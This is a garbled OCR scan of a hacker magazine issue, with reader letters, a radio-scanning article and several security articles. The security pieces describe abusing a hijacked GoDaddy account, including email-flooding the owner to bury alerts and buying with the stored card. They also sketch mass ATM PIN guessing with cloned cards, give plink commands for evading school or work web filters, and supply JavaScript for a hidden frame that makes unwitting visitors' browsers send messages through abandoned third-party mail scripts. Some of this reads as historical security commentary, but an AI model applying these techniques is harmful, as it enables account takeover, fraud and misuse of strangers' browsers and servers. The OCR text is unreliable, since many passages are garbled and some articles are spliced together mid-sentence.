pics. To find out if this happened to you, follow these
steps:

Go to Edit profile. On the right hand side near
the top, you have the option to view profile, etc.
Click "Safe Edit Mode. " Then click Images. If you see
your caption, but a different picture, that pic needs
to be deleted. To delete i, go 1o your home page.
Click add/edit photos. Then delete the picture with

the caption that had the wrong pic. When you're in)
add/delete pics, the pic you uploaded will show. It

stilf needs to get deleted. The hacker has their pic |

hiding behind your original picture. Tricky lif people,
eh!?

If only these people could use their smarts for
good!! This world would be a happier place.

You should probably change your password after.
you delete the pics, just to be on the safe side.”

Okay, | have seen this mentality for quite some |

time now having been into computer security for a
while... the way that the “hacker” has become some-

thing of the ghost of a monster, lurking in the “back |
alleys® of the Internet, waiting to take your soul to |

Internet hell. It is regrettable that the media portrays
this image and that all of us have just bought it
without question, even when some of these same
people that buy the image of the evil hacker pose
as the open-minded and “watchers of the watchers,”
s0 to speak.

The name of the hacker has been bastardized
from so many angles, yet the original intention of
“hacking” was to improve security by exploring
vulnerabilities and informing those in charge of our
security about these vulnerabilities. Granted, any
knowledge can be taken for ill purposes but that
doesn't mean that we should abandon exploration
for the sake of some strange “safety.”

Perhaps these bulletins could just as easily
have replaced the word “hacker” with “vandal” or
“thief” and the message would contextually remain
the same. But | suppose that by now the meaning
of the word has been changed by our media (that
incidentally will vilify anything with a marginal
voice to obtain ratings, equaling ad dollars). First
it was “witches,” then “Turks” or “Jews,” after that
“communists” and “gays,” and now “hackers” and
“terrorists.”

Maybe you could read up for the hour that it
would take you to understand the most simple of
security concepts that you could use to help protect
yourself, instead of living in fear of some intangible
threat that almost always is some young teenage
kid who simply wants to have a little fun and cause
some mischief. Kids have been doing that ever since
humans have lived in a society,

Rev. Troy (SubGenius)

More so than an actual person engaging in
mischief is the mere specter of someone engaging in
behavior that our shrill-voiced minders convince us
is cause for panic. In other words, we literally obsess
over scenarios that aren’t playing out but which one
day in a worst-case scenario might.

It doesnt matter what story the media is
reporting. If it has anything to do with computers,
phones, credit cards, or technology in any sense,
hackers will be the ones seen as the threat. Never
mind that a bank has taken your private informa-
tion and passed it around to all sorts of other enti-
ties without your permission. Never mind that they
do this to millions of people every day. And never
mind that they don't even bother to secure this
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rfnformau'on properly and always wind up losing it
or putting it in places where it becomes accessible to
the entire world. All of that is irrelevant compared to
the possibility that “hackers” will find this informa-
tion and use it to make your life miserable. Hackers
become the threat and the real guilty parties get to
walk away and do the same things over and over.
Mast people understand this absurdity. Its our job
1o see that the media gets it too. Whenever such a
story gets reported, those spreading it around need
ta hear from us letting them know in no uncertain
terms that hackers are not the problem and, in many
cases, they are the solution. Don't give in to their
stappy journalism by conceding their misuse of the
word and renaming yourself as something efse. That
tnesn’t solve anything and eventually they'll just
misuse any other words we come up with as well. Its
a frustrating battle to be sure, but it’s most certainly
not a lost cause.

Incidentally, we don’t believe the word “terrorist”
has ever meant something non-evil, unlike all your
other examples. That word, however, is being used
far too commonly to describe things that barely
would have attracted any attention in the past and
which continue to cause no harm today.

The Format

Dear 2600:

Regarding the latest format, here are some
reasons why | don't like it:

1) Paper smells bad. When |'ve opened previous
issues, there has been a noticeable absence in the
aroma department. The current issue (23:4) smells
like an old Xerox machine.

2) The paper has a bad gritty feeling, kind of like
when you make your own toothpaste and forget to
mash up the calcium pills enough. There's a sandy
residue that just doesn't feel right.

3) | personally feel that the fold-n-staple binding
is better than the glued binding. The staples will
hold that sucker together for a long long time. In
the glued version, the pages will fall out when |
photocopy some of the better illustrations/hacks/
how-to's into my personal collection of DIY arti-
cles, Also, some of the lettering is close to the spine
and can be annoying to read.

If you went to this format due to costs, then |
would definitely read it this way over not reading
anything at all. However, if this was just an experi-
ment, I'd like to put in my vote for "no" if there are
actually votes being tallied.

But, most of all, thanks for always trying to be
fresh and innovative.

Brian Heagney

This is the first we're hearing that we had a non-
offensive aroma. Knowing this now we will figure
out how to get it back. We'll also find out if there
are any differences in the actual paper used. As for
the binding, we've heard pros and cons on the new
style. We do know it won't fall apart and that this
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style is used by many publications. This is som%
thing we don’t have a choice in as it's the only kind
of binding our new printer does.

Dear 2600:

Did you try a new way of printing the magazine
with the Winter issue? Because | liked it a lot better
when you just stapled the pages of the magazine
together. It was a lot easler to get the magazine to
lay flat while you were reading it, which is some-
thing that is very important if you read while you're
eating. Now, you have to practically tear the pages
out if you want them to lay flat. If anything, the
inside page margins need to be extended about
half an inch, because with the magazine bound
like this, you can hardly read the text on the insicle
edge of the pages. But | would say just go back to
stapling the pages, it worked a lot better.

Jeeff

We're aware of the problem with the margins
and we apologize for any hardship that may have
caused. As you can see, we've made them a bit
wider for this issue. This is part of the growing pains
involved when trying something new. There were
others....

Dear 2600:
| read in “Transition” that a new company is
printing the magazines and | noticed that imme-
diately because the binding had changed. But,
whatever ink they are using is making its way to my
fingers more than staying on the magazine fromt/
back cover. It is leaving my fingerprints for anyone
to admire on whatever | touch. | liked reading your
magazine without having to feel like | had been
processed at the police station when I'm done
reading it. Could you talk to the printer about this?
Are there other printers to consider?
Inked Fingers

Dear 2600:

Just wanted to call your attention to the black
ink used on the cover of the Winter 2006-2007
edition of 2600/ The ink rubs off!

I got my subscription in the mail, opened it, and
accidentally left it on the counter after my lunch
break. My flatmate came by and thumbed through
it before | got back to it. By then there were black
fingerprints on a few pages. (At first | thought it was
a clever printing trick and then | thought it was
sloppy work at the printer, But no, soon | noticed
my hands were turning dark and the back cover
had some places where the black ink was rubbed
away (did they print it with dry erase ink?!).

i went by and warned my local small news-
stand (Newsland) to put them in plastic baggies
{when they get their shipment if it has the same ink
problem) on the shelf to keep people from messing
up the covers (making them unsellable). I'm sure
someone will see the baggies and think they are
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@_ying to restrict readers (like how they bag porn).
Adric

Let’s just call that our special “fingerprint issue”
and not speak of it again.

Dear 2600:

I love this zine and all that comes with it. |
remember the first time | just happened onto your
pages in a bookstore. | have been engrossed ever
since. Thanks for the insight, the commentary, and
all that you and the writers do.

| remember when Playboy lost their staple binder.
They too have been unstoppable ever since!

Iroe

Well then we're certainly heading down an inter-
esting road.

Dear 2600:

I like the new binding your magazine has now. |
have a suggestion though. It would be nice to have
the volume and issue number on the spine. A clever
message or quote on the spine would be a nice
touch also.

Jason
Well consider our options now that we've finally
grown a spine after 20 years.
Dear 2600:

Please provide an index in the back of the maga-
zine, ar at the end of each article, of all URL's which
appear in the articles, Sometimes | read about a URL
and then | can't find which article it was in. You
could even have the authors do the work for you as
part of the submission guidelines, i.e., attach the list
at the bottom of every article.

Just looking for a way to explore more of this
great world you're creating. This would help make
it easier,

lan

This is a good idea, one which a number of our
writers already engage in. We'll encourage the rest
to follow suit.

Sales

Dear 2600:

Opening the Winter 2006-2007 issue and
reading the "Transition" editorial, | started thinking
of ways to help out. Obviously | ry and do my part
by subscribing, but that just makes me one of (hope-
fully) many thousands. So, let’s multiply the efforts of
those thousands....

| have noticed a "Display Until* date on many
magazines on newsslands and in bookstores. |
assume this is the date that the unsold copies are
destroyed. Does 2600 specify a certain date to keep
unsold copies on the shelves until? If so, | suggest
2600 share that date with your readers, and we
all can make a concerted effort to visit any news-
stand selling 2600 on or just before that date. At that
point, we should purchase as many of the remaining
copies as we have the means to and distribute them
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to interested parties, They could be given out 10)
friends, family, coworkers. Bring a stack to the local
meeting and give them out to anyone who hasn't
been able to get their copy, or any interested pass-
ershy who wonder what we are about. If we can
clear out every unsold copy before the distributor/
retailer can destroy them and charge 2600, then we
will be both saving 2600 money and "spreading the
word" to many more individuals.

If this date is set by the retailer rather than 2600,
we all need to survey our local booksellers and
newsstands and share this data with each other so
we know when to make our purchases. Obviously
we don't want to make it more difficult to locate a
copy locally - only snatch up the spare copies just
before destruction.

You say you exist to serve us, your readers. For
that | thank you. Please let us know what we can do

to help you accomplish this.
saiboogu

Thats an incredibly generous idea on so many
levels. Thanks for suggesting it. As for on sale dates,
as of this issue we have finally attained a consistent
schedule which should be easy to remember. Each
new issue will be on sale on the *2600 friday” (first
Friday of the month) following a season change.
So anytime it’s the first Friday of a new season, you
should be able to find the new issue at newsstands.
In other words, this issue will be on sale on Friday,
April 6 since thats the first Friday of the month
following the start of spring (and we assume the
previous issue will be taken off the shelves at around
this time). The next issues will be on sale on July 6,
October 5, etc. We intend to do whatever it takes o
keep to this schedule.

Dear 2600:

First of all, great magazine and keep up the good
work. | buy your magazine at my local Bames &
Noble here in Orland Park, lllinois. | was skimming
through the Winter 2006-2007 issue while waiting in
line to purchase and saw a back cover photo related
to Barnes & Noble and decided to show the cashier.
He said they have to enter a price manually for
each and every magazine. Makes sense. | have also
naticed this in the past, since magazines can change
prices regularly (including this one which went up
this issue) unlike books which have the same price
and don't go up each year or so.

CPeanutG

The UPC (bar cade) has the price imbedded in it.
Note that when our price changed, so did our code,
So something isn't quite right with that explanation.

In the case of Barnes & Noble - as it’s been explained |

to us - if the magazine isn't scanned (or if the entire
UPC isnt entered manually) the sale isn't credited
to us. And we wind up paying a big percentage for
any "missing” magazines. So if you ever get a receipt
that doesn’t display our name on it from the UPC
database, we'd really like to know about it since that
probably means (with this bookstore chain at least}

that we're not getting credited.
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2600:

| just thought | would tell you guys when | bought
my latest mag at my local Bammes & Noble the clerk
who is also an avid reader, pointed out to
me that that photo of the register is not a "glitch"
because all magazines have to be manually entered.
They scan the mag but enter the price. He said it was

like this nationwide, according to the manager.
TwitcH
This also makes little sense to us since the price
should be included in the UPC, at least in the States.
But at least there’s an indication that a sale of the

magazine is being logged.

Dear 2600:

As a man in my 60s | may be an exception to
the norm. | didn't know how much 2600 cost before
and | do not know what it costs now, When | see a
new issue on the newsstand | buy it. The only way |
would care about the price would be for it to get so
high as to call itself to my attention. But for now the
content is worth whatever you are charging. Hope
you can hang on.

Johnson Hayes

We intend to and thanks for the support.

Dear 2600:

When you were embroiled in the DeCSS lawsuit
| thought that a good way to help you was 1o become
a (vocal) lifetime subscriber. | now realize that | may
be contributing to your economic woes at this point.
So, is there any way | can contribute to your maga-
zine (renew my lifetime subscription, if you will)?

Alfredo Octavio

Thanks for your concern but a lifetime subscrip-
tion is just that: good for your (or our) entire lifetime.
It’s theoretically possible that if you died and then
were brought back to life that you would then have
to get a second subscription but you would likely
also have to change your name and address since
our computer would assume that you were still living
your first life. You could lie to us and just say you're
somebody you're not and we would never know. Or
you could also make a lot of enemies by subscribing
unwilling people to our magazine for their entire life-
time. Whatever you do, don't feel guilty. Our lifetime
subscribers have been quite essential for our exis-
tence and we're glad you're a part of our family.

Dear 2600:

| just received 23:4 today. | was surprised when
you wrote two whole pages explaining why you
had to increase the price. | think your magazine is
still worth more than you charge. The information
that is presented in the magazine is a true inspira-
tion because it reminds me why consumerism and
commercialism bite. The sharing of information
is beautiful, and so often we get fed rubbish by
greedy corporations that try to Fox their way into our
minds.

So thank you so much for your magazine and

you should never have to apologize to your readea
for a modest price increase over the years. | can't
think of any other magazine that charges what you
do and can bring the same level of content. Wait
until my son can start reading! You'll have another

reader then.
Digit_01
We want to thank you and the many others who
have written with words of support. We've been
through some difficult times and we've faced a lot
of challenges but it's the spirit of our readers that
always comes through and makes it all worthwhile.

Dear 2600:

What cost increase? | didn't even notice. If |
compare the cost to learning/information ratio | am
still getting more than my money's worth. | don't get
through all of one issue befare | buy the next. Your
booklet and PC Answers out of England are the best
buys on the market.

In reading your comments about why your prices
g0 up, | want to let you know what happened to me
on my last purchase.

First, the books were on a flat bottom shelf under
titted shelves, They are harder to see. If | were not
specifically looking for it | would miss it.

Second, at checkout, your book was the on ly one
of three that had to be manually entered. No waving
the magic wand. Are they paying you? | dont know.

| do wonder how the new binding will hold
up with me folding it all the way back for easier
reading.

Keep up the good work.

Prof. Morris Sparks

Dear 2600:

I've seen the issue of shrink mentioned in
two issues of 2600 if | remember correctly. While
reading *Transition® | realized that almost every time
I've purchased a 2600, including the latest issue, the
cashier cannot get the bar code to scan and punches
in the price manually. So far I've purchased a total
of around eight to ten issues from Barnes & Noble,
Borders, and Wegman's. | have my latest receipt
which contains the following for my purchase:
Periodical
725274831586 64 PR N 6.25

This was from a Borders store. I'm not sure if that
identifies it as a 2600 or not. Ii you think you guys
are getting shafted on this one, | could send you the
receipt. | don't know if any of this helps, but | Figured
it couldn't hurt to send a heads up.

F

In this case it appears the cashier punched in
the UPC manually as those numbers match the ones
which can be found on our Winter 2006-2007 jssue.
But we have to wonder if there is some sort of a fail-
safe method to prevent the wrong numbers from
being entered or, worse, no numbers at all. Our bar
code Is up to the industry standard and shoulc! work

everywhere.
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STALKING

by Tom from New England (aka Mr. Icom)

Having been an RF hacker for a couple
decades, I'm glad to see an increase in
interest among technological enthusiasts in
the wonders that exploring the radio spec-
trum has to offer. Things have changed quite
a bit since 1987 when | wrote my first article
for 2600. What a long, strange trip it's been.

One of the staples of the monitoring enthu-
siast was Radio Shack's Police Call frequency
directory. No matter where you lived in the
USA, you could walk into the McDonald's
of electronics stores and have all the public
safely records of your locale and a bunch of
useful reference material at your fingertips.
Later issues included a CD containing the
whole country's public safety license data,
selected businesses, and all the other extras
that ensured Tandy Corp. received at least
some of your hard-earned cash once a year.
The most useful part of Police Call was some-
thing they called the Consolidated Frequency
List. It told you what service was allocated
to a particular frequency. With it, you could
look up a frequency like 45.88 MHz and
quickly find out it was allocated to the Fire
Service for “intersystem" communications
(that frequency by the way, happens to be the
inter-county channel for New York State fire
departments). Unfortunately Police Call's last
edition was published in 2005. You still might
be able to find a copy of the last edition at a
local Radio Shack and it would be a worth-
while reference just for the Consolidated
Frequency List.

The Internet has a number of sources
for frequency data. The most popular site is
Radio Reference at http://www.radiorefer-
ence.com/. Originally a site for information
about trunked radio systems, it's probably the
biggest site of user-contributed frequency and
radio system data on the Net. The second site
is run by the FCC, and is commonly known by
the nickname "Gullfoss." It is the FCC General
Menu Reports page, which is the whole FCC
license database. Its URL is http:/gullfoss2.
fcc.gov/reports/index.cfm. What | like to do
is take the latitude/longitude coordinates of

THE SIGNALS

the location I'm staying at and do a "Loca-
tion/Frequency (Range)" search off Gullfoss
for a 5 to 15 mile radius from said location,
depending on how populated it is. If you're
in a place such as New York City, even doing
a one-mile radius search will provide you
with more frequency data than you'll initially
know what to do with.

The problem with raw license/frequency
data is that you could get a dozen frequen-
cies for a specific agency or business and
still have no idea what specific use the
frequency has. The Radio Reference site can
sometimes help with this, depending on
how many active contributing scannists are
in the area of interest. Despite the demise of
Folice Call, there are still numerous "local"
frequency directories that may be available
at your nearhy radio shop. Those of you in
the Northeast who want a nice complete
printed directory to hold in your hands are
blessed by the presence of Scanner Master in
Massachusetts. Their web site is http://mwww.
scannermaster.com/ and they sell some rather
excellent detailed guides for the Northeast.
Their Southern New England Pocket Guide
is a constant monitoring companion of mine
along with a well-used Moleskine pocket
journal.

Readers of 2600 should be familiar with
the Signal Stalker police scanners, since there
have been a couple of articles published in
previous issues, Many people have an interest
in hearing signals in their immediate vicinity.
Upon seeing someone nearby with a hand-
held radio, they wonder what the frequency
is and what's Leing talking about. Back in
the old days, we used handheld frequency
counters like the $99 Radio Shack special,
or a much more expensive Optoelectronics
Scout. There were also "nearfield receivers"
like the Optoelectronics R-10 Interceptor and
Xplorer, but they too were beyond the finan-
cial reach of many hobbyists. The frequency
counters worked OK, but you generally had
to get within a hundred feet or so of the trans-
mitter. You also had to contend with continu-
ously transmitting high-power annoyances
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(MHz band and public safety to the bottom.
At present, public safety communications are
mostly on the edges of the band, with Nextel
in the middle.

2. Changing the channelfrequency
spacing from 12.5 KHz to 6.25 KHz. This
will double the amount of channels avail-
able. Consequently, radio users will have to
convert to narrowband modulation.

3. Eventually moving Nextel off the 800
MHz band and up to the 1.9 GHz PCS band.

This is troublesome for trunk-tracking
scanners because of Number 2 above. Each
12.5 KHz frequency is assigned a channel
number. The channel number/frequency
assignments will change when the band goes
to the narrower spacing. Trunk-trackers use
those channel numbers to determine what
frequency to tune in order to follow a talk-
group on the system. After a system has been
rebanded, the current crop of trunk-trackin
will not follow the system as the channe
number/frequency assignments will be all
wrong,

New England was supposed to be the first
to go through rebanding, and the process has
yet to occur as of the time of this writing. I'd
expect other parts of the country to go through
similar delays. As far as scanner manufac-
turers are concerned, Radio Shack initially
said the firmware of their trunk-tracking scan-
ners would be upgradable but then changed
their mind. If you have a current model Radio
Shack trunk-tracker scanner, you will be out
of luck once rebanding occurs to the systems
you monitor. Uniden (Bearcat) has said that
their current models will be firmware upgrad-
able and some upgrades have already been
made available to correct a few bugs found
in early versions of the firmware. However |
suspect that unless the rebanding progresses

quicker, once the "current" models become)
discontinued, product support (including
firmware upgrades) for them will cease to
exist as is usually the case with "obsolete*
equipment.

Once the FCC, land mobile radio industry,
and Nextel get their collective act together
and figure out once and for all the final fate of
the 800 MHz band, then things will be all fine
and dandy. Until then, if you simply have to
buy a trunk-tracker spend as little as possible
for a used one at a hamfest. This way you
won't feel so bad when it simply becomes a
conventional scanner after rebanding. If you
have a large sum of money buming a hole
in your pocket, and you simply have to buy
something new, get one of those computer-
controlled, DC-to-Daylight communica-
tions receivers made by Icom or AOR. They
actually will never become obsolete. With
the computer interface, they can be used
with the Trunker software to follow trunked
radio systems, even post-rebanding. They are
readily modified to provide a 10.7 MHz IF
output in order to use an AOR ARD25 P25
decoder box for demodulating P-25 audio.
They also feature full frequency coverage
from 100 KHz to 2+ GHz (minus cellular in
the United States). No matter what frequency
gets reallocated to what, you'll be able to
tune it. As a new RF hobbyisi, a communica-
tions receiver is more versatile than a police
scanner. You can listen to local VHF/UHF
public safety communications one week,
tune down the spectrum a little bit for short-
wave broadcasters and ham radio operators
(3880-3885 KHz - AM mode) the next week,
do a little experimentation with computerized
monitoring the next, and finish the month out
playing with monitoring the various digital
modes you encounter on the air.

GoDaddy.com Insecqrjj;yg- __

by SLEZ

Have you ever looked into how insecure
Fodaddy.mm really is? Before | go into detail
et's first make something clear. To do this you
must have access to someone's GoDaddy
account, You cannot say that it is totally
impossible for a GoDaddy account to be
broken into. Email spam plus careless people

re proof of this,

d
Ks"age 50

Let's say you somehow got access to a
GoDaddy account that you are not the owner
of. All you would have to do is click on My
Account and any type of information you
would need about the person is right in front
of you. In there you will see My Customer
# which could come in handy. Then by
going into Account Setfings the person's full
name, address, city, state, zip code, country,
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Hubots:

New Ways

Attack) ng Old

by 5, Fidgoray

Distributed derial of service akacks area
s reality of todlay. Conrdinaied botneds. are
uiskneg, e mannsers lo-overwhelm their target,
consuming  either all processing resources
o Gl bandbeelih, The aitpcks sre incredihly
fiard 0 counter &% aften thore's no detectahle
difference between the bots and legitimate
wsers. Even if there s, the intrusion preven
fion sysbems should have enouph capacity
process large numbers of requests, making
them Largets of the attack themselves.

Bud whal I the participoms of distribnted
dtacks were nof bots but real peopled That
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by mmall P}Dﬁhlfﬁ the account owner's ennail
with the email  address  sales@godacdy
com and support@podaddvoom abour 500
#0999 fimes will increases the chance that
the person will delede all those emails along
with the ones redlly sent from godaddy,com
Also keep in mind many prople wse the same
passwiord for all their accounts and the same
ermall address for all their business. Even if
the person has a different password for their
email, with the information displayed in their
Colacdy acoount you might be able o reset
thir passworrh, That emall addmess could be
connected o an online banking acoount or
even PayPal.

There s w0 need for this information to
bit didplayed for amy reason, Mothing can be
100 percent hicker-prood but having sensitive
information ot like that isn"t a smar mowe
by CoDaddy, To fix this problom all they
would frive toodo |5 have & security question
prompl i andwered correctly, access would
e granted o Account Seitings. This mi
nod salve the profslem fully but it wouold ma
it harder for peaple o obtain personal infor.
rmiatioas aboul the overer,

Another security ilaw in Account Secu-
rity Inioeniaiion is the Bnable Card on File
option; Al you' meed o do B check the
aption, confirm the password, and then you
can purchase lberms on godadcycom wiilvou
a cradit card and without calling up w social
enpinoer the sales reps.

opaEns new opporunitics for atfacks againss
wll knoewn targets. A pood exampls waould
b PIM brute forcing i an automatic beller
rrechine (AT

AT cards generally use a magnetic sirip
and regquire 5 FIM o get the scoount bals nee
o withdraw cash, You have three fries to get
the PIN right. After the first or second time yiou
can cancel and gt the card back, PiMs arm
generally four digh decimal numbers (000
o TG 50 one geds heo shols al guessing
the PIN (AT swallows the card after the
third wrang Pik-abtemgd], and the probability
of a successtul guess |5 iherafne 0002, B will
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(fake days of full time PIN guessing for some-

body to get access to the money if they have
a card but don't know the PIN.

Unless PIN brute forcing is distributed.
Copying an ATM card is a trivial task. Equip-
ment for it is cheap and widely available.
Picture a group of 5000 people doing PIN
guessing at the same time. The coordinator
distributes magnetic strip information, the
force (do we call them hubots?) writes strips
on white plastic and uses 5000 ATMs at the
same time with preassigned PINs, just two
for each hubot. Success is certain, the attack
takes just minutes, and is as hard to counter
as any other distributed attack.

A few factors still offset the risk: forming

Networ

Bypassin
and We

by James Penguin
jamespenguin@gmail.com

Picture yourself in the following situation.
You're at school/work minding your own
business simply perusing the Internet and all
it has to offer. However when you try to visit
your ninja clan's website, you are instead
presented with a web page stating that this
particular website is blocked. Naturally you
are shocked and offended by such an action.
So do something about it; sneak through like
a ninja with an SSH tunnel.

A Brief Explanation

For those who have no idea what an SSH
tunnel is, imagine that whenever you estab-
lish a connection to an SSH server that you
are digging an underground tunnel from
your location at Point A to the server's loca-
tion at Point B in which a messenger carries
messages back and forth between you and
the server. The reason that the tunnel is
underground is because your connection is
encrypted. Because of this people cannot see
what is being sent back and forth through
your connection (underground tunnel). Now

the army of hubots, which is very geographi}
cally distributed (thousands of ATMs are
needed), extraordinary organizational skill
is needed, the magnetic strip information
needs to be obtained somehow, and moni-
toring systems could flag the use pattern and
prevent the card from being used until the
owner contacts the bank. But the required
resources can already be in place, as the
criminal economy has significant scale and
workforce. Only completely switching from
easily clonable cards to cryptographic chip
cards will fully mitigate the risk of such
distributed attacks against bank cards.

Shouts to the P&A squad, J.K., Cookie,
and Nicky. We shall outsmart.

once you have established a connection, you
have an entire tunnel to send data back and
forth through.

Now the great thing about this under-
ground tunnel is that it is big enough so that
it can fit more than one messenger. As a
result it is possible to send messengers with
messages for a server at Point C through the
underground tunnel, have them relayed from
Point B to point C, from Point C back to Point
B, and then through the underground tunnel
back to you at Point A.

For a more detailed explanation see the
Wikipedia page about Tunneling Proto-

cols: http://en.wikipedia.org/wiki/Tunnel
=ing protocol

The Guards

Let's assume that the network that you
are currently on has a server that filters web
traffic, is guarded by a firewall that does nat
allow inbound connections, and only allows
outbound connections on ports 21 (fip), 80
(http), and 443 (https). How is this informa-
tion useful, you ask? Well, we know that
we can get traffic out of three different ports
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chich means that you have three openings
from which you can dig a tunnel.
Preparation

In order to successfully sneak through the
firewall/web filter you will need two things:

- An SSH server listening on one
of the ports that you are allowed outbound
access on. For help setting up an SSH server

Seehttp://lifehacker.com/software/home-
wserver/geek-to-live--set-up-a-personal-

=home-ssh-server-205090.php
- An SSH client, either PUuTTY (GUI)
or Plink (Command Line). This article covers
the use of Plink. You can download both
PuTTY and Plink from: nttp://www.chiark.
=greenend.org.uk/~sgtatham/putty/
A Simgle Tunnel
The command for creating a tunnel with

plink is plink -8 -P PortNumber -L Source
wPartiRemoteServer:ServicePort -1 User

wHName SSHServerAddress. For PortNumber use
a port that you have outbound access on. For
SourcePort use any number between 1 and
65535. For RemoteServer use the IP address
of a remote server you would like to access.
For ServicePort use the port of the service
you'd like to access on the remote server.

For example, to tunnel an hitp connec-
tion to a remote server at 72.14.207.99
through an SSH server listening on port 21
and with the address 123.123.123.123, the

command would look like piink -8 -2 21
=L 1337:72.14.207.99:80 -1 YourUsername

123.123.123.123. Once you have entered
your password, open up a web browser and
enter http://127.0.0.1:1337 into the address
bar and you will be looking at the Google
home page.

Note 1: When using the above command
syntax, after you have provided your correct
password, the blinkinf cursor will drop a line.
This means that your login was successful.

Note 2: Tunnels can be used to proxy
a connection to any address on any port,
however this article will focus on tunneling
web pages.

ic SOCKS-based Jutsu!

While a simple tunnel may be all right
for connecting to one specific server, a ninja
such as yourself has many different servers to
browse and it is impractical to create a tunnel
for each different server that you may want
to connect to. This is where dynamic SOCKS-
based port forwarding comes into play. In
nOn-1337-ninj4 terms this is an SSH tunnel
similar to the one created in the section
above, but its RemoteServer and ServicePort
are dynamic. However its SourcePort remains

* Spring 2007

the same. )

The command for creating a dynamic
tunnel is, plink -8 -P PortNumver -D Source
wPort -1 UserName SSBServerAddress.
Creating a dynamic tunnel is a little less
confusing (syntax wise) then a simple tuninel,
however using it is slightly more complex.

Web Browsing Over a Dynamic Tunnel

In order to use a web browser over a
dynamic tunnel, you need to be able to
modify the browser's proxy settings. In
your current restricted environment you are
unable to madify your school'siwork's web
browser (which is Internet Explorer (boo!))
settings. However, this isn't a problem for a
ninja like yourself. All you must do is acquire
a web browser that you have full control
over. However, you can't leave any trace of
using another web browser (for it is not the
ninja way), so installing a new one is out of
the question. This is re Firefox Portable
(a mobile instail-free version of Firefox) steps
in. Download FP from http://portableapps.
wcom/apps/internet/firefox_portable  (this
article covers using Firefox Portable 2.0) and
extract it to a USB jump drive or to your hard
drive for later burning to a CD.

To use FP over a dynamic tunnel: First
start FP, click on Tools and choose options.
Click the button at the top labeled advanced.
Under the connection section click the
button labeled settings... In the connec-
tions settings window choose the third option
labeled manual proxy configuration: and in
the entry box next to the words socks sHost
enter 127.0.0.1. In the entry box to the right
of the entry box for socks =ost enter the
SourcePort you used when creating your
dynamic tunnel. Make sure that socxs w5 is
selected and click ox.

FP will now send and receive all traffic
over your dynamic tunnel; however by default
FP does DNS lookups locally which can give
away what you are browsing (very un-ninja-
like). To configure FP to send DNS lookups
over a dynamic tunnel: In the address bar
type about:config and hit enter; in the entry
box next to the word rilter enter network.
mproxy.socks_remote_dns, right click the
result and select the Toggle option.

Cloaking FP to look like IE

Well now you've got a copy of FP using
a dynamic tunnel to browse the web, but FP
isn't very stealthy and any passing teacher/
administrator will be all over you when they
see it. As a ninja stealth is very important,
so your next priority is to configure Firefox
Portable so that it looks like Internet Explorer.
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Communi

by OSIN

This article is a demonstration on how :arious types of communication channels can be
rendered in unusual ways. | should point out that the purpose of writing this article is not to
introduce worms, trojans, or yet another virus, but to get you to view tools and techniques
in a new manner, especially in ways they were never meant to be used. That being said, |
will first spell out how the actual mechanism of sending a message over the Internet works.
Then | will delve into the details and scripts required to actually perform the task. But, you
should realize that this type of communication is not for time-sensitive information. In some
ways these techniques are something like a "Poor Man's Tor." For purposes of this article | will
assume the reader has some working knowledge of HTML coding with IFrames, Javascript, and
Java-to-Javascript communication. Additionally, the full source code for the applet and main
HTML/Javascript page will be available at http:/uk.geocities.com/osin1941/app/app.html.

The way this communication scenario goes is this. Two people in diverse locations need to
send messages to each other. For simplicity sake, this scenario takes into account one person,
Shemp, leaving a text message somewhere out on the Internet. The other person, Curly, will
create a website that will retrieve the message from Shemp's website. For this discussion both
websites will be in the same domain, say for example NyukNyukNyuk. You'll understand
later why having that setup makes the communication much easier. Now, you may be asking
yourself, why doesn't Curly merely visit Shemp's website? It could be that both parties do not
want to expose their browsing habits to their ISP or to the NSA. And even if they were using
an anonymizing system such as Tor, they might get blocked by certain countries' tyrannical
filtering schemes, such as the Great Firewall of China. So Curly's website is really the catalyst
which kicks off everything and this whole scenario hinges on Curly's ability to attract an inno-
cent web viewer to view his website.

Curly will create a web page which will consist of two frames, a top and bottom frame. The
top frame will show some innocuous information that the innocent web visitor will see, This
can be anything so | don't show any html code for top.html. The bottom frame is where the
action will take place. The htm! code for the page that creates the frames looks like this:
index.html
<frameset rows=100%,0%>
<frame name="top" srec="top.html" NORESIZE>
<frame name="bottom" src="bottom.html" NORESIZE>
</frameseat>

It should be obvious by now that the innocent web viewer in most cases will not even
realize there is a bottom frame, but it is there even though we assigned 100 percent of the
browser window to the top. It is in that bottom frame where all the action takes place.

Operation Moe

About ten years ago it was popular for website designers to create little cgi and perl test
scripts to test sending emails to an email account. There used to be many of those scripts out
on the Internet but over time most disappeared. But not all of them were deleted. Some have
been out there for years and they aren't being monitored. | personally know of at least three
sites that still allow you to pass text messages in the URL of the http GET call. | was able to find
them by using Google's advanced search settings. | won't give the exact search criteria | used
because | don't want to start a spam attack, but it shouldn't be that hard for you to figure out.
Sending email this way is not really hard. You just redirect the bottom frame to the script's loca-
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ion, which is usually an acknowledgment page. Here's the bit of Javascript code that is Ioadea
by a call in the body html tag when bottom.html is loaded, i.e., <body onload="dothis();">

function dothis(){

//change the line below to whatever email script you are using.
var
Url="http://www.somedomain.com/mail.cgi?name=Shempasender=shemp@NyukNyukNyuk.comk

= recip=curly@NyukNyukNyuk.comésubj=My Messagestext=Shemps%3iZmessageiI2tot32Curly”;
this.document.location.href=url;

}

But how does Shemp's message actually get to Curly? Well, in that case we're going to
use the IFrame tag. Let's say that Shemp has created an account on NyukNyukNyuk under
his name and has placed a flat text file with the message "How dare you look like someone
I hate!" Curly also has a separate account on NyukNyukNyuk for himself, but his homepage
is the framed page discussed above. He has "enticing" visual and textual information to lure
someone to view it which kicks off the Javascript function. But first, Curly has to make come
code changes. Here is the IFrame code in bottom.html:

<iframe
sre="http://www . HyukiyukNyuk.com/shemp/message. txt"
name="test" onload="dothis(this);">

</iframe>

But Curly also has to make some code changes to the Javascript function dothis. Using a
search engine, Curly finds some code that will basically pull out the text {technically it pulls
out the html code) from the IFrame:

function dothis(iframe) {
content="";
if (iframe.contentDocument) {
content=iframe.contentDocument .body.innerHTML;
else if (iframe.contentWindow) {
content=iframe,contentWindow.document.body. inner ATML;
}telse if (iframe.document) {
content=iframe.document.body.innerfTML;
}
content=content.substring(5,content.length-6);
url="http://www.somedomain.com/mail.cgi?name=Shemp&sender=shempéNyukNyukiyuk.
meom&recip=curlyfNyukNyukNyuk.com&subj=My
Message&text="+content;
this.document.location.href=url;
}

One final note about this technique. As | said earlier it is easier if both websites come
from the same domain. By default, most browsers prevent cross-site scripting across different
domains. This is actually a good thing, but there's nothing preventing a user from allowing this
in their browser. So in theory groups of people working together could set up a covert channel
by changing the settings in their browsers to deliberately allow messages to be sent from sepa-
rate domains. Also, expect the same message to be delivered multiple times.

